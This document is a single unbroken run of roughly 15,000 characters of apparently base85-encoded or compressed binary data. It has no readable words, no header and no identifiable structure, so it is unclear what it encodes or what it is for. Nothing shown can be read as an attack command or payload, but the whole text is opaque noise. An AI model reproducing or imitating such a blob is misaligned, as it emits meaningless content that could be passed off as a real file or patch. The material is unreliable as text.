zu^X|k3S$0Ay!O5%@vvBI{p4<(Pj33aMsT^VH1W>S-gbQMB(sR>mv^j>x8>4?b{{|;|6Q1Wjo(t#c#{*;WgdPPKQoK95r3nen=b+OI8x%{MCp5*ZbYJx`)YLJ| z&ydQr$UH&7X9RgpkP2{uK>KP*qP$6^Uj<*VxlF+<!{ z>w@WM?k}eTbaY|3coc5U@P;Krv>qU`3zBH8CT}n-YA{alG4aj*Y$q72T~*r7_4%k| z8Q`m6-IX#E_ZP^9Ps=Ya(v6hnV*KtR`bF{|^kF-;lCFxOfu6oH9{u1(Ninwqa{Tt* z+Oxbtrgq|_GePEa;-ntw{g;&4(}CHMuXkddY?q{YX#8Xs>Ah6a>!Q)9F9v-nTAEik z#t7wD4m+P$n2~%+Zio2_lgMc%KZBXP|0PIOZn`qn^_~2y)qc`Xy-z zb9ChunEejEWh_`@`F2>TUb$8WOpA>KVomLYF}TvAO1hXWD2vBJx0YQW*k)K!pO2#` ztLW5J#zgYk%AcI$#TDee99nGj_AR*~U!0L!vioe_^!Q!LnI~qecV$_MDF$&(%yQ(e z466MM24qd*w|dnFlM+n9`1)CzllKk$^@?(|IEue5KeQu_NgSo}Me4zETMaG~mgI!*_5=eo;MiuHJ`ZZylFgW!> zl|!{kh1Kc}Ov=Roas#~Vd+zD%$~YgXk+PpDIpS9gV5t)snJRIG{c#wQ6(nNhl1zaS z$ih17!413k|A-|Q!Vy=;{Co(}SA#8SXU9*C`17;DE(7r(@?*i8EbS16gtc%z__*5* zR!igTGO=JL<0~5!ZO}*BDqj8G-En=3^~^R*&LGjR>1|Xd*85F1(3uXQ>=G?WE4QK9 zu$`W}rD{XAQXTU){+QrYdEHLEGR%lA;V5CjG-lZ;J?_)W$AsO}$P^iAb6ElBZn(dB zm^$6TFSbe)>nGA~BS*&=Qi+Kd+PDS84G~|IwfSQ`+K1Q=HXJk`BOx;sXkSRgdL|M- zAjcJcdEPS1qt@-B-eRjq{^Hb#*(W}OKn;A{Cj>tQwN<5rltxUaCbCsi_0@&~Xp;rm zNpsmNxo*~~?!v#NsZrk+D2MVb3REucGL@h!P`a&_P4@bmk?X6O8>wbe6|hDyo3%nx zyNK4zQzqUKsVY)Al5T}a3HK3(t`*`Wni{ch%h(_x6`S7kYezEzIdc}xy>C58|3TOd zzUvit!n&pTv+)YVFMB8!K${;IzxxL?ALW*_b>9T^iLM*I=mnkh+$hK-jMlz0C{$pQrQ8X2ki({K7;1LeQ{Z<_osG8ShB zHO(I`z5i!?|BU}0jkiQ}&nv?L0sX@NpPVlL^??7COmJ|PGqU+VX*1MhK>4aJp$+$B zYi(zbWlKSVdeQ=?kU>ESAr1nkh$W&%2(b%Q!6p;Mkg^z|gEn`x)GpCmJ26ntQAa@o z$AV~!op-C&EVo?AY&lhB`2RFgjgfj8y|xI9>0EV8{C)QQcA0(|Mew)=VibqHH3p}D z?2Vr|I8?x1_StLJreARk#lWUtaw_RGAY;&&m|3xGS0BiCv%T5p*1aBrTRjnDu}@Lp zuzHD((`NAAGxz!{HbBnswy*x`oZV^rwC}!26uwlJ^TO~!RMBPw+Nu*^;>oX zz@3+Hsc_~wJ|M3!kvB6s(bV{Q&HWRrbo%}l(*G(1i2c1xKREkdylD)eSwz%rlP@^F zSO}^Ljua(Ltj@~I+3p>Q1QDmk)=Gt5DaK9@1%MQ3_oBdt_D71+=8eKuN|TYmsj&n{ zqPYag;T`~XP3;)*ZF72Bsc02VAFUz9&#R8e0Ew1e7p#2fa-_j?2mOX3QMsGR#B-8& zl!4nN>}e@^3TA{B;)AIPFdv9XI` z_up1loZ?MF)xwTgMMFZpoDWEuDf6O954W$NTwa{~OU{v>SSBAJTGwQw$k9crs*0nJ zm!oak=!k$k2+abOz7VIOu{LP{e{yBNrB}?ciDD)FTwB82BL)e6G6746fdG@f{D;>; zj%qJ0-hQ%33a6VU9k#Z!Mfy4N>%uLmhB1feFecEQMP5cg@)uz5jS>!ZFRnHNKStby z*Woas8VrR;UK2%TI-;b=?e9*m+a74wVayQ8BS>88UJHnK#4y31^?Tuo4jwhD7uZ_z z77hk1*qUO^RCU@nwoc)Bw$92uHn=()PZ1G3FZGBkbacsnVf}?53wKDcQe#J;cBj=Y=On9QEWzBK-hNJ?RtDW{+5N?W za$*>_Rf9QLb3kC*O>3aXO>N-w4L`@6S48jbCs@UUaOFg~Cv{c~YnX(Z#Gk$PFa%iN zi1>1YU*E$cs`Y^iHx+?1H(XxpWe$h@J&ZSGPmr)pr(6zptbd7RG0a7Rac@%t>uzHM z9d7ZMm~IGs9Sj-#5l?#JEe#9cd|<7GFo_lTxk45Y=_lDjbS%SWLq`zx6LgKyoUe{oKpwPf1g~T$Qz?)5dD<|vrkHP00>VbW?aVNBK6ydq4P)hcgm#R$`xTJ zp&qB_f?e|!L{Wz}`c_!Sv}~ddbKwYPVJ9+VP%3ff6bzqY3S5+l=pOoO!XmH<1mMtR zU@RKA(uWbqBCyE8JQ2gfWHn>(PFjY&-I^yyF63K`xf`ZffqM{XtQQtD;-JL3)J^R? ztBa^{%TTK8gA=v&rB1|6-ppxzB^niUOYq!*M``YGG-i6)7k+eqta#^(p#wlBl+{Lm zl(ool6(ibOrV|F95Z|b zj|+;rt8MKtPArSmuuaKGRLJAaoIU=XUSu)98_T3yEFr=ykF6?daOm(oQq{E5q-Yi5 zxK8BkVymIKJPN~C#MQ>tz*1!O7fL3~L*k0sZ48~`PkRV+W=65VW00EsUxd9=cy8^s z1Q^@4ZQHhO+fG(&+g!12+qP|U#mVZN?tZ$Tz5D!sU(DO@Vt!-3qehK-s~V_g?+52@ zTrwAuYcnJ={|qgjiu)3+Wh4ND_B%Xv(D``f=d(DE9h3Mo^rP{0@N zj{t(?1Us1*niV^LsfizqC%eSOVKvCDRkV}g*7@2T7dmoPY9u0`hPHKKOdcb)@VD7a z&b%>Ko@$;obWGV0?0Tsl<8}*+nlvO_X=Gi@CDfkB0%K4=Bi`_?BWWAhw3ZkA8a0OS z6PN{fb>@;sbMl@@YR>LxbUEy%Klu#?G+NmL)b^$m)!vocm#VyHKs{IMjVxfPQo(~EnHoMQVn4mMr(ClR02=U5Q}{|9O<#n@ zl)cX6{=qAdz>|H*$oL;3dFU?GPisNnKFuCbyTx@NV{~u8wDXN=_0^Mtz{qO~n6_8e zT2NjfyT$Fm0)Mma7nrl^v*xv>$Vk~$wkJ3bnYcnw9~pV-_XbbwDYU0b8^OQ+t4}v# z`R9z?C1hF*{@17_J-EQYZ`BlvKH#7*i+gwdGxvO>9)9(^Q@izmUy(i~{k@+?f78)m zG`V)%Q}tO|yGgNgq_rKwEhUU2BioaNWrLjIe=bc!hc+9uowK!%BTlmjSc_(8m3W(f zI1kHNZVIAcee(*rLVP+N_#+#bFO#Q6e@?~qKNxJaJ> zx1TYGA4o-?P|fB8IcZF+g9F;DZsinadO&&W5QFN1eLivgsMUEfu~vHl`Adpidh{ce z>yw!z_hmL3Vf3`>U60w$?(ePIvj6jLz+A_VlVjdN#Fa__&k&?Z& z#uYs;$^)!96lk_AOtMf;*ux*jhnYQN%;!YfYY*-oe_szvzh)|nhe_<&^B^yUFMgdaBA%xkgl3<^mXFv&*__%PAX zzpssyK{;6Z3`A(>muUcJTmlqIhGam@@847uHB?gOK%&ecM4Yh?WyJz=g4sqgcfBNr zlJlgMj({tBaZ7!sHtYV(brD26{U5+CJB3&GDBI6ez7a2uXo7F7zJ2STG46!b9O531 zbk!XCPa~j440K4SZ5o2YwFvOgnLsr?!h(g1q18}W@P9K=S@deWdIHJv)T)%`Fq%j+ z#Y};-M!BCF%e zDB0K~%i=4Y65$IJDT+;$z$~H93QCU=D?*ORZ)0S04?~A{r1C3U81YY z4g1B}_<=h0rCxxe&IqbIsNzhkJPrnScB!GMGpo>@aA8NL$nH2a-IhRk$fo2%uRJ{H z?FEyS;c#OzupS6s{&%(x_m?9&@2}RoLe-~1-X?=EjNqK6Jw8UH7jxuUstsb)?Ahg9 zX=au*W-S=n0lSh3tcAMV#Jcxwi3(D6uvNX^WA~0HFr38BW0+~A<~T_woRQg%9BK6= z@N|rsDpF4GjQ1MnX6Y0rRc-O+P9#0@rCH_C5Q&6Q*{E~AeP_`gew!mUmdCkKA}xyj z2(xzx;H6j-A9^y19sGsv*g3y9<0cm707Ijg893nNS9PE}`W&AALWdHzXQ~s?XEx{) zasA=;AS&|}SGyJ-`S@{~*oZd76v)2T&6alNmSy&-PX;0gHvBK;sT{X_yjnQY6nG)1OPqZK*y?dqSm zKd|f?Zf(71+$n6@F)w(FZ}>4#Jw#~>iHm|1njTnYBAA{4v=l@u z0@aL1GZCzq4rF13UO0o1FcJVGDVcYRS91fiJQ4JF=>lDN!64eufWQHf_I&u8UgAfc zBlnojzDdffE9G^M#*xaA_8_hd9h;wiI(Bff7Pg^RzBbj9it|ae3q)Fl9M;&EVuxun zo$@uTQqe-2{@!J^>1nkI=juWOd=ytF{r`Fk{eQGS41}3mVM3(h+G7r`6?iks33;Z zQhVYYtB5U$k}T(Y7tlfRKLPlqx{_8v8CeLExLt7&;UMoGO!h2v$D6DS%b|>e}x5_3ft!_a&DBCiWSPr7@XV^^cX*+wN z3$c2Xj$>Lk+jFWNOksIcWGc2dk(jC0Tmc^pwipOip0Qyfe*ay4 zbo+JjFJF;USai`DQU*Ds+0{IUWFs=k8EBQ%AJD6a0+1358S!;jtwuq{Ivx>1U~;2+ zh8WC)-_#+T6__=H^fgw;m=XANQ3?Wdq2_p+74!<(1%HWrq=T_4Hlw)WPi!9U;dKcM zoI{ThaR;S>wZ1_9bE21vmJGlD`I~)y?0?ArxmE<7oh{AnL_Hjw{`XB=v9hi8PhzSs z8NK^CW{g<%hJ{|{#z{5W2dh#%LOz0s1;mr`I$79u=22|7_4(`qJs8a^@TcOzm0o6~ zN5mek`{UHr6*Kc}1HZ5D2b=+ZC!CFnjm<_GmxR%zAP_1zeZ8%5m_c`fGA14ZSM%Ub zdmD-%L6C#}nXEUb+j6eK>9wMMyWOvGr?{Z&cmMbc58|}=%klD$ZzHFRiXIMJXOi8= zP$M1$DJwrbnGka(0u|#7&S%Gs?g!PZ_&aYPT%-kZ^BN39DeCv-jQn_GAy3sy5OX5F zc17NSGry*}$v=LXW6$2CC55ZdO|z$jp~9>1n#o!?qXJ+|Ps#IHbZIi~Nn?wywJeoS zB>^#5AL2V9SRJ=Td?8!5%C#)YXg`_{Dr#{8l(fr=j0-j_O_q5g6r%>>ngx9|Zp1UH zW5*G*DiZbv_yg_CD8aGFyBEZkLrMGD3O<35+Zfm{63lub1I+bH;$ixDOBAh6<~j5c z$gTa}9!r4)_mp_krSJy_^cNU;FwQM=v=}@B`vzu@aB&?&*tmMW+PeVEM4QJ|2^@Qt z+5{fE>G({-FHgluCLUGgQXEt49}B5qex|eXa$%29*p|#M|LPhWR&0I4uk|mug)+>Q zKNQyU-624^%!|+?lr5s)QfBUN=>J(o3RJZB3qK~GmT&+7B>z%H$}0ct+EuKktE_E` zu)_|?DTzf9yudaLX7MEjvcCOtx9ZpXS5Sof3>m*! zc|w}bD=!Q(#O{^BuWvAn?>*d(ishUbzL@8UaTaU0$TQ`B4#oPiYyQn6GptI8IZ%hw zr-P=9+Eco-Iz>vXJbMh~HDJ~Y(^{eW4NkKwRfQdWsI0+o##SQC&SiAh( z+Z~%(Ya=RVSQu~!rS9BLQNpS?m9u3xM@g|W2P6qJCM|mnD(sGSSj|JUVqj|$a|he7 zvnI1sV64q)gh=M1nc=~su19y!<=8U_*V7?S_TGLG0cmAg5|b?NzSxFY0Z)97-H8-s zH8q>;PsC*MmGnzdiej21Dm45=igivSZrg;GvC^jn@y3-+N3)Dr9z8n}KD(4yyF&88 zfm=|dHaf~t=PRW)E7V(}5ZC|>y4a*BaUN>ZY$Q>_;=_8dClqWx;fzuT6Ybev$;V^L zxn<6EhZ6wm5|7pjQ{&)97Y!2&RtNlc;T$bU^5Ww<6W2IqEX;K{s6+(McW8RI)J8A| z7TyNn<_r%pt6-GtySrvt0=5Hx?QVPG2?ta=rE~uD?4@UNK#MI!XRS*Dm_bSWtVK9^ zH?~01<~5>EVTcrCp+3`V^PTqTsK&HBxaErcN78fSh3Iy$r{(BI7~ z9fXt4-k0%JYDh=R6KWoTM*Gt_jqMp%W{&1>lmIH`9tP5k7yYHBxOpt#z5>lU0k%`u zBhvCh!#90{a z069_G90Q^=edOn?TecD^D!OFFY>KxwhNrGvAs_5@Ziaj@{9Vc=?nD5VH&IK(4>DEp z?3l2xsh0AQfS*qD8?7?al&%~tQVAB;?Dj@uqY^CN={y0cqDlvoO=+TzS2%h)AKV*Q zhUI5W%}knd=LeKlBd>H&drVq15i_`A{=^my)Mp`;5`S6a-EzS0T;LWkibm?C$KzGn zJaG22Ma{AsaHscp=B|rd5v1U+UdGw?ab|XjR(qEU=Qg4K)aI}1q)+Dvok|+CgK=Za z<2rHPB|rCVfgTmH{edsHEf2lRa#gxLe%V!`GdwW?Ssqo|@H>}85uRo4{YUV;~c!{H_^D+9C?Jo?Gbw)Qrf5+kn*#v6xK{wai zVC~;-Zt`3?`5aX_=B?VP0FRrh@9UK53z{3KMNf5=`6bm(k}!QD9LxSm2x`^&o<%j1 zrRYJX!YsA$$+q`lm!VzPV^1jO^n`~6+Fz~4IBi?YSGqa%)ar1+ZQv6(_2nP>iU`3E z_-LNx1wSX7scF6)guugLaJ*%HvUTti3EuzuU%P|cU}E~lAF*4{PoE(E*B;?yYWlyU zj2LBI<;5Q~sV$@|6c2@>D8RRzDinlI0a2jPZ&)%AZED~>&}1{oM0ie8KKNSsL^^dA z&EJQA?7moB@fm*BDHD4b}iF(QP;8AG|oCQ<3+A$u_ zL*J;(bz;h7M<4?^O5xN2mioHT25M}Z{19U>=!&bZrC;gz5pT$mW8Yk3Icw9g9A~}v zkaLO=t)nC^=9AA!snrZ##0uZ=vN@h-`ROHZB3zLO8liPfzuSXF<7(eEofiv0{>kk+Ju*AGfX%si2CmYe| z+N$(a0`!zd66X{C)Q4?`yCc03U9e{p8#f*jI5t0VL3Ai(;;@)qYI>KDk%|;Wv=?^a zGRHAWCiz(*HckW{qVz+FAHnlI3~q>x6RCegUJm3OCP7c0Y)$ATz{OiG__+GH7?86I z1*g;4Z>&f3_w?9zi8-*6d;bc`2T)Pf-9loK;xZ{B0d>MG*%Kg(iBf>=Q`07dCJ7>G z^de>1b37g)E*DBGSE#M~1GQ0j+1GE#7`0-w zn&(fXt=S}LpXbAW6ABTA&mo*CXV`&pWnR&BZZ71R>ceQZ$ z<8e}1`Z_L8Qj;hN!nt*gJ#Q`p1JbmITo$PFVqpq$hO^C7f5)Cre&dS*GGCON(QM-t zw>H%U#G{W_{B`-2c6u1Aa7g{5Le>W5;Jx0_JOs2I0Lf+gT1TP zY*W~1eW7w{QwSG?cP|dc%jOCpUpK8-*}Gpxy?MRjzNYR+*&*g=J)_}jR~TKI?KiS^ z&^Gw9>aF_zul&ANG?o3RpA$6XC-#=~pHEO>LmQiap46&Utbd~V5O`agI$dbvepqTL zPYP4$rI#S02sTziO5gahn%ZW zozxm_&aFpD=0A4glCfO#K}9n##fMNwUiYXH;8Zr&ZF7#FGZp8OqCtOdXD?14o&AV^ z`3c`p@#gt|g75!v9qlk@Q)XlQz2tfAo<+l$?cYNg+41p8Iv z7b;6*sxZ*d=aGg4YjF@F@GY;to?*brM%8nhV8Ge?j?Y(Jt~V<}?z;GM-Ks_;)O=#v zC4|R^3(KXU6eInpS0&TW1PHR5O^Z@%DLa9t8|(JN18!sRc;J%}spU1ghgb{=WB&f^ zneCl10Px5mLyxYe4^;=0$Qs3XXmN#A$D9-&aYP$e?Tp+5%Wa?CggR0#X;vnf3(GvG z0IN-shtF}#=r2Yk##?s(cW_T!se%|vc8md&qYyNi>_)qqV~A&m=rhQ;><38s^Z;YD zar$WhRPWumQh$B8Jeu-+@+ZqU2cjTdvpMye{+yo+oO%7Ej=MwJOJh?K&tq3!6qPMi zl`CRf@F)(+7xI6ejY>Xq!G=F%li-gS{$H!x+2x1l-3|CS&)$h40`-=5e?_7L21R+(@(aV3Br9j(`v_jY{&`!c(%c?EHs18YPmy8 z@rk8>fqL@|$Cl2#6XYzi0f(N!gIOy=0?gS;c73h#hRRECr+Q9~q7?O5N^nKB$BnJ~ z1bo>b+(jyzu<^UNhMpND5;bxyz7izsrZ_pjc8LB|6=I5ES(szchUP=RmAM)z(sY>8 zOrJ*X_^R|zq_$#&S_X1GbG?UsJK%uLifg-Cft3sBniuehLiRX zoNx!x>cqLNvbwdY6xG;pfl_Io#b`9>vVyE^tFrISLd2m!=-xYeuIjQ?X!vQ<&dT#s z!GpvxFoVO^K4)&2VZ*Otl4zpgX|O?!thugd$#PR^q)-ML!{97g64EXKr6FlZZ3)Kc z7Cj$V`RZhpoYQTyyL)+4Ng=%2wte*CW$URZ4`M@bd&^v}XzP#g=4l%^a?v52} z3lHd5f|KNzB_@7PZL2rncJ$5@(s)Ohf^*utmeorr{34aBCzWhGlv1sw^$3lY&HCM? ztLhnB*OK5+AvXC)_RV^ho4*8l0>Qq)OV}R!`C(Xcz4G+8oZY}p{E-an&`lNn;^ciA zL~qD8K4|Vs`!yU}`ykdQc(+45(o<<;y)v9NER12gCk(?d+Ea#UoL5ZxL`Bot zEfv5AZ*aTnX<~J3NorQ(a1Kh$L^j}PTK(lMdl(0B9{qqH$gttP{XNZli?SZQQS$L+ ziynT!0cxMkEw7bDlOwx@7J4ZFqvY5Scugc4O-Rvef_8?$>4ij27c3_^DzlWK#0C8G zz0M$%EOULBdUIf4!sfR61ib;y)l~K@<P-bU;kwuKCN1|k@(Y*g8qLxlD(bDKYz2uN!tH&KV|gq;;%_Hl=?{3 z-#Wo9eMFIIsZkqCuXC?JmIqmrOq9kGc8#3~e5qXm1rhjt@TNSC+%V1g&jBU8r&Afu zZ`0Z5xBUFRfNOnnSj#vVYDF5;{e77zB`B8*tz;pT!(L#s&dCo%F=;U6wEN)(Vf&X( zmsze>Z#{Rwi*9kh3MP3M3x+?sec~S9uUjTXbK%WD^v z1NKBI_AuRJErIDum~1U$9CEX^T!OVR%sOE)Dqt69Au2rgq!aaS8+J~qnh)YRSTSS? zlFv_ppqWou{MyxqSPat-?a=O!qHg1xA5hTyik-AgKD(VD;MZL6+#=+Zs{}TQC(tcZ z@eB0POfdR`R4+Yr{!5OVaf>vA7?x)Q7{xKJN-8-7atpo^jY0AkO%s&Ku+Sx;rsD(O zK=OroVyfc!1Srz3>zm4%H&$w_KvD%uVTovpPN9V+hibVVfhS))FR~eW0R(L7KoUZ< z;ved8SkMH*@FmcNAe>^p*yxk=6`ajTV(LdoQs!``-LS-E3e6a%LPa*z360>y?f|p; zI5U~WDXUEP$PoonJ0PtKU?!IM`~azRPtgBtOzVNXZ0bJ+E)V~&6uF40v5ldVp^N=LP~&nXN zIHSE`TL=(oqAFG(=yOsKf?8=CfzpU+B}BTv%WSLl5~20R&5#tDmTx|uwoCcm7r?U> zT`puwbL1{%{uae9K7Vk(B#KD%oijM!w4Z*b&f0VGKdkce{{=FD?}0Z$rduI~kWQ7< zJZK;RstfX#8)u@OEC#^w)Jrub^Dp92F3779CJU#j0f~n$K=pi6ir=qY2X&sl@l9JQl3@M>*R9nb!x*Bp=m^ek%5~tI4 zR`Xksl7ERqb&~V)QpkV)o#X};hWfd$QDrXFk1<1H(ds!Qxmnm)F3HVqCrf6l_#(so zaD$5#A`K^d`;*t=Nv?kuXRf44Zh87n+k?}1C`oOO%G551xH8rg9Df6&zKDs1jlaMD zd!#%L`m-#h;NZEL1qCkHn7S}}xPmfvx|EE0T+q=(FIO5i&HL?yB&_F?N3pd!e`ZW+ z1ttYa)%by=GLRuK+ZO(rM;ou$q|(51WDVy>w%4TVpgoL!W7x=Y=To*u535F`=*2w1 zbxI~Wp;S+}rCjbj^{K3cJxCogls?hPmxd*t&#c2bWh8|CaEzsEeXNSZIxiU=;kfo^ z^?IwqR|?Yz4|^0!&HJP&Wtn$6>!bspa)%_vO_(BQNlK~O(yq#5Yi40Awjvx^ZYQDR z++?bHVOTm4s{e3xs3J-76u50>?$wh=IrZwxS}%7$l9hSE&iVA3#xT?~J})~*X{|}< z_3UaXnU)4zeP#Khg)LBIs^2{bF~-!)+3_Qo_}GTd_0g{0umBl9(?UEfg0{gX#T2`R z+NNgDn1|W8)EE-^&|`E+yub^&RpXZRHkRXp>7G%J!bY>XP{un@Ue=o|Q7jM)=yhud z{Z%Qy+KFrES$*IsH=@>YY>2&KYp4}UTU|a`!e{hSN6>0*8)x>Isr_Qij=k1RHgyCV z8YzCIr4(wRbG<6(B)o3rs^l+si&T*2Nc`mrg@&AxL7w1bn~8SB1>}<*jCq18g{r2Z z`m+DTNf}8Hae}oj;h|b0_>fAtTBhl8t;Dak0o%u(2I?bx_D0wszbnUYCx)WwKhBje zCXJ8lQk-rStGM3M1z>!9?BYwnWfC7gOCnr1gXrb$@Wcf-gMMlH)^*Az7Whs3tKS`S zGSJwsq`{|eN+-3`6eyjBNwW1eyDc}^*5A989=U9D~xdwyyE_|_@_63F=D zrL#1_bz2B0$9_xza76*+eBvzwkaP+_X>Y! zCXJ?Ba@>}V_L&;=J=rI<83H`$mI+or^A$M6ahpbW?1*|h8?lpGIm_{Xd#cIf7QWT% zi)yNQy|k|d{{Y_o@)pA<^q_N!D|^|yYV`8MV@?^W+m=pjYKZOPk;C zirkDkfO3(CNmP}dY1Ly@Rq*ieEoRRqbq>lF3;j+tz3>j)8^F=kwy5 zXsIQ>qNiqX>Lwg9KRcj%uL7wH`o?Iu0~G0_G7d3&oZs?C>j!|C)xD^6=g;s=Qf- zG&_X3a72^!Xr1zkGT)w6$y-XhW0kGS{Y}}|LDi*KWfYO&KBqC`-2?SVS?f=Xsy(i; zBZW?dcIQ(6?vvY4+idDNQ_ZBRujrbrT0LJ8miGE9qso=^`!}ELT#hbjD7&V7NGqUE z;Yhmp_tu?%!;UwMDBfT#8eaaNE#NAC+?Xc*q0loTwp6Koy<2IPgSj&p>4YN#xs>T4 z1ZdP{IboVr%?=AA!B;#=hIjdtsbunC`4Qvyb@Lv6#Y$1^GHo|Ho-qKk3f; zgkl`@|4!Q-f(@h-`5~8VAOQd<{+S{Wv3E7H`JZdx{}iEBX9Q`fFYn0GJ8M;{2)DbS_bI$cY0r^$84WX zAoD8h)Oe4Hf!;Ga*Y86g%54?}wD4=f_jY}I-!#dOf`yW6(y)Y?IrYq80*ogqn3OLAgSPlNzNUqK;6AIEsvR^4^3 z&<5h=R1TrK(pat*Vvru~P%U5Ud~%>$jWpRV=j^$Zodhu7q=Y0n=}pGNO~h^!B`a?| zO|oQDw=?DI>^NC}Zdy0fB{;ZYI?QeS<3A;AyR2NJ>AZ_{ zJ`BuM@r*8bV&C$tUGx5T^4vjN9OzA_edzte9`3M62fjj6UDcq+Y&fRGTLCg&k3p3F)VC8lr;hf!?cLEZ0QK_Pu}l#G@Sqv z8Jz?MYNSeWgS+Ao2c|6@f~jA*m*vod?>Af>M1b)E^tCIJ?58nlyC5sM$LzLJ1e*_` z-3s7{pwGahNr^y9O*H_30PO~<@IJE*tP=7P~K_txbiIVWYqHN4gG{sfR zi5ei(*7Hi6RvfU*07zYwTIUx5a;;MI%5C?#2H+iO(foxb;>UI7D8eBF4w)l#9(e2X zh@3HD&}GCO#Z+7I$xdQ+#o-;=XBLj(3bqiikdJNW^dlOAm$ zZHQyPVt&F_d=`C%x)=IZABts5P-yfV>6&vQwqHsg=AeJ?MQlKhrl)%ohg&R@3N}{bH zxiM#joEQ29(f4pYFN3?VoR3BO`THduddy5WjKs&!yvBE)?);i@|8ZMug!cRX`oIS$ zF{p$f#1%zwU)NG|kni_Nd4~5Gzk7&J6Ynxnt-5myX|2>yzQ>S9;W>WQ0lDn@tJ5DE zY3GgDpZ2+R)K|OaMfQ7xbZ}mGa~uUkM2vvPUaO>&AYRU_f&LG1w+`FnjmQokMTY2L z#++qiy0$xv@lEz64em^g4Ft%dTR(yaxwY2F#eRRwe%0lsC|88}b(h}O9B$Ifj^W%k z^CS>(b$ptBN;YQzTqg;FSH1a}$h#DF>ecy$nW8}*u3^A_i|Awl+>?({=N~_mL=D>u zm8--;?GVY`Or*BOTtn=owVM4JPhE5f67jOjdZ#ZIb+UbZ|r-R z0!4fY(U3phI~46ze$>IRjW$S}kc6=_mM7)J#TvfDWhJ&Ls66C|<#(!I{#>hvs%(l& z)!Px-m+32Xvni5~OBv38KEEUN9?Y0z6ffWD`j4-K$?dn8-&iJ$^vq#kA-${jd7m0t zY2!J>eFG*>X9#hRES%b$=Pd;b0fGw(O4BV|2Eb#jqJy>mi;xHY$`6xsag8 z!?NZE>K=Dl1T0uh29M@5+@8(cep!fGzRK1cfGts{!bFSN^LVIQT<55@N5ONv-axEb zDCGrt-&vp^W0v$&<~kP_79|HZ;T89{1E6JP(+iOx^%WkSZMy9<)uNxHWr$|r6M*@- zg5*}7$qxpJyMRTcLs)J2a2dbC>P=y6>C`PFe-P-3&LPj$UUCSq>p%oSB3woMpwSk}`r)=EEvG5u=*mogPv(cSdo_8=8onhgHmn zNEt5y0#T7VoYhIQ>=5a`-TS~<^QldQGxy9Q#s!ViraV?|sTBFo`PNXW%L~4bIAm?3 z;%+DHL`Mi_M; zwZ(q_wYr0Eytb$Pp}KH?*4O`{hZM6kwK4f0D&QYB*h#YXivkFtyVGIYBzDlCLX--L z$pU;*z?8>GDv(mtqEI?o$B}F^sdP?<6K+(#XgYyIfPbdqgr?TWVu%tA#&g&2rw-TM zS9*Q_zC!+vP}d}>PZ0%+lTBXd+aFU#M%7bkEX%hu((d!92IpEs_s~A~PEA{QX~t)< zdHEFLp0JkC>f+?PPqv!&+|D--%?FS;c0!M(Xp`_ZMHppoc;AJi!z4i zYgpk1-VfD%`FwB>u{$Aal$fW|IG}^A)C=hmN)1xk1!Ewy z*NY)M+wHTNLT?H3jj)YBbQW(wL{O9T#_TLyB_lI~`q=W;>_%NWtK?x3`hXf^ z-5UTUU=!aUatU39(gJ2^d4VKhEc#DF3YfvP$?u6ktdUP*VYpfuS!!hvL25!lzEN0L zMF)fpl@JU2M%o127-{If1OF!tMSJQRWBF5n20sNz{m;-|@(0r!+8LY5oBeYujZv}v zVO$Y>Q&T$&Rr&%6l*%VIn;}%aTOovoizJ8PS!6%kbkaIXx~-q#fc{D$EB{1m1AbE+ zUg?t7A3@1-aW{TUJxf*k&I-Ly5#bh0jgVvzM24f9HlV=*-S!pUphmc50~S$*L)lPDZhSLT?JZk0cp%bk zvUMc*17)3eDovcQQQ%?>$^<@vgLv(xkuawz`eQ zjIofm4KU1KrZ;$#YQhvgpNWPl&kNm!tCn3r8AxW$t&)EfpTxwq$1>LB4r$#mQfpXw zt$bl>WXSLoW3zdSd4x!8w#kFsxdv<*s@BsweLWGnv6W6~!kVo1&l=oJ2@Ub-BSm#J&-j zOq82|+zpK2l8#V`a7rAgkN!t4Y&5@PI~8gXb?5v>GZc6(@R z!`s7oTGlbmJ1^Qp?V)6x%xwz~m*9L{a3boXNzJ!q9K)HI1(#t9g$v#27@{9P zTeXBSKD3^FLN+f@qwuLj@)LcM%XA5}kqfTF*>-n-UGA8u8{BV0ydvHywEUMD_PKau z@qUO;`-x%#yg~Ijv<|16kVcRrxLCt%F9v~aFFs(9uq%QOswW(W&;~e2rHNAj5htC$Um-Vv>1xTjTLTt29}S z4WIK^{|;z6dC{K-_1c@NE>>O^QlA3eyMR4Gp5#;mfHa{o&S3?Zz88SBp0Z5i7}vuH z)qU?v&tA8mPeAxLkm=RxLVAftgsQ*Tu}d|Jmh7qC0aTTv&gy)S_v5Iq|7j;D9Ch=c z!c3o|M1-e^oilUJxFO)QC0&lImwT{vLt-hi!`a>VpjTS3lcb0Jv}2>A9ul^~u}zIT z5d&!;{(e?=qu*lHS4pQIafK!6hc>5GWR|h}ejX%InYuBL^J8FuO+hJE4qFI?c61A; z8a~H@%JPo*o;1qvg!L^U1E_H#w3%;zworc&(ukgqS#T+!wxL2I1HCwAi*gZeW^9r{HZPYSV1_sK6uZY>k>W+H0Y% zi2>3!w+%kUs6ck{s}SN9HHkR4&N9y4D3BsDm5dw#(1A#Sa?lN+uuxd2E;4hLfWJA&)CmfejAa#!MFn-Lw4uvt zB(6R@hAq_Njk&7(;z3b%$kzs}pyNbwcx`71QFxtaVh$lI_=^w7T6&A?c*b9UF0xtfn>h{&km(w9 zlid)D9d_d?Z$2DT)-6jM0C#4=Hay2Kc>dTIc$+I;U7_Zu_IU&V>(x^FC2N1DHJzb5 zzxe&<$xkXTOM>)+U10uQ_a<%X>2B|2^1nl8A0=D+1qBpey8tvR(@5o|7{*X~TIWi+ zuLjJdb{j~{duVB7em938bxmoz$)&$X;As@nEcZXkx9HQMbk=hUVSLj(ixjiJrS77YWVMRd{LsvZ8;An z1RpxxylCO?V`Yj?ZkYBXwNRP3Q4-s*o0(BV?o^^PMw$(|!2Rd1->0$ND#af;aQF&> z+qteGjfUbG{NW2fTu<{HH^=}o0uC|wn#LKe85u6j4(k}6o@WoIIvsmAV@ZBg^FE&OK=Xm zAY+fQ_6UD)1uP<)vj)_UKvKde&!(f@Dz!wW_z^zd;H)dzf#?Fp7(~baWdl|31X0iJ z+b*qX2C?JLk=M76R^Z60sL{`q%$q7&>_UyKEwWKP*O#TT{%^}uJXrO$p&xB!)sKeg zU-ZSYrnW}^WK0s0I4QTOfDrnZF%~vLdxG={N>T!FG{Gvuw7et2Uv@*b;!1vskT=Dc zc=PvjwN`nt61oon9u(uK8{!-Y8eeW!@0+4{gf&}tRLYq0HmSsvQ!;*r$#4Pw!Bq}exRuz$jOC#3L 